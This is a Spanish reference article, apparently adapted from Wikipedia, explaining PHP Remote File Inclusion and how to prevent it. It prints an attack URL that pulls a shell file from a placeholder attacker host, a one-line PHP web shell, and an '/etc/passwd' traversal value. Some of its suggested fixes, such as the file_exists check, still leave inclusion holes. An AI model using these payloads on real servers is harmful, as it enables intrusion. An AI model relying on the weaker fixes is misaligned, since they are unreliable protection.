Remote File Inclusion
RFI (Remote File Inclusion), traducido al español como Inclusión Remota de Archivos - vulnerabilidad existente solamente en páginas dinámicas en PHP que per…
RFI (Remote File Inclusion), traducido al español como Inclusión Remota de Archivos - vulnerabilidad existente solamente en páginas dinámicas en PHP que permite el enlace de archivos remotos situados en otros servidores a causa de una mala programación de la página que contiene funciones de inclusión de archivos.
Este tipo de vulnerabilidad no se da en páginas programadas en ASP o en cualquier otro tipo de lenguaje similar que no contenga la posibilidad de la inclusión remota de archivos ajenos al servidor.
Resumen del ataque
Las funciones include, include_once, require, require_once son utilizadas para incluir en una misma página otras páginas a la vez, por la necesidad de utilizar un código fuente o por otras diversas razones de programación.
Una página vulnerable que presente un aspecto similar a este en su URL:
http://[servidor_victima]/index.php?page=plantilla.html
El atacante podrá obtener una Shell en el servidor vulnerable mediante lo siguiente:
http://[servidor_victima]/index.php?page=http://[servidor_atacante]/shell.txt&&cmd=ls
Pudiendo contener el archivo shell.txt cualquier código, por ejemplo:
<? system($cmd); ?>
El archivo debe tener una extensión distinta a cualquier otra que se pueda ejecutar en el servidor del atacante (.txt,.gif, etc), una extensión ".php" no sería válida, ya que en el servidor víctima al incluir el fichero con extensión.php se estaría ejecutando antes el código php en el servidor del atacante; recordemos que el código php se ejecuta en el servidor y el usuario solo puede ver el resultado, es por esto que el código del script malicioso debe ir con una extensión distinta, ya que la función include, require, require_once, include_once ejecutaría el código php contenido en el fichero que se pasa como parámetro a la función, sin importar la extensión que tenga.
Lo que la víctima incluye en su página son secciones que se pasan a la variable page según el ejemplo anterior
<? include_once($page) ?>
Detener el ataque
Para detener este tipo de ataques, el programador debe filtrar correctamente la variable ejemplo:
<?
if ($url=="seccion")
include ($url.".php");
?>
o
<?
include ("./".$url.".php");
?>
Este último puede provocar un tipo de fallo llamado Local File Inclusion si $url toma un valor de tipo ../../../etc/passwd%00.
El Local File Inclusion podría inclusive permitir la ejecución de comandos al insertar código malicioso a través de
LOG's por ejemplo al incluirlos.
o
<?
switch($url) {
case 0:include ("./contenidos/estapagina.php"); break;
case 1:include ("./contenidos/estaotra.php"); break;
default: include("./contenidos/error.php"); break;
}
?>
o
<?php
if(!file_exists($_GET['page']))
{
die('No existe');
}
else{
require_once($_GET['page']);
}
?>
o
<?
$url = intval($_GET['url']); //$url solo contendrá un valor entero.
$pagina = "./contenidos/cont".$url.".php";
if (file_exists($pagina))
include($pagina);
?>
Otra Solución
Otra solución más avanzada es aplicar una validación de la variable enviada como parámetro, descartando la inclusión de archivos remotos no deseados.
<?
$url = str_replace(array(':', '.', '/', '\\'), '', $url);
include_once($url);
?>
Content Disclaimer
Informasi ini disarikan dari Wikipedia dan disajikan kembali untuk tujuan edukasi. Konten tersedia di bawah lisensi CC BY-SA 3.0. Kami tidak bertanggung jawab atas ketidakakuratan data yang bersumber dari kontribusi publik tersebut.
- The information displayed on this website is sourced in part or in whole from Wikipedia and has been adapted for the purpose of restating it. We strive to provide accurate and relevant information, however:
- There is no guarantee of absolute accuracy. Wikipedia is an open, collaborative project that can be edited by anyone, so information is subject to change.
- It is not intended to constitute professional advice. The content displayed is for informational and educational purposes only. For important decisions (e.g., medical, legal, or financial), please consult a professional.
- Content copyright. Wikipedia is licensed under the Creative Commons Attribution-ShareAlike License (CC BY-SA). This means that content may be reused with appropriate attribution and shared under a similar license.
- Responsible use. Any risk arising from the use of information from this website is entirely the responsibility of the user.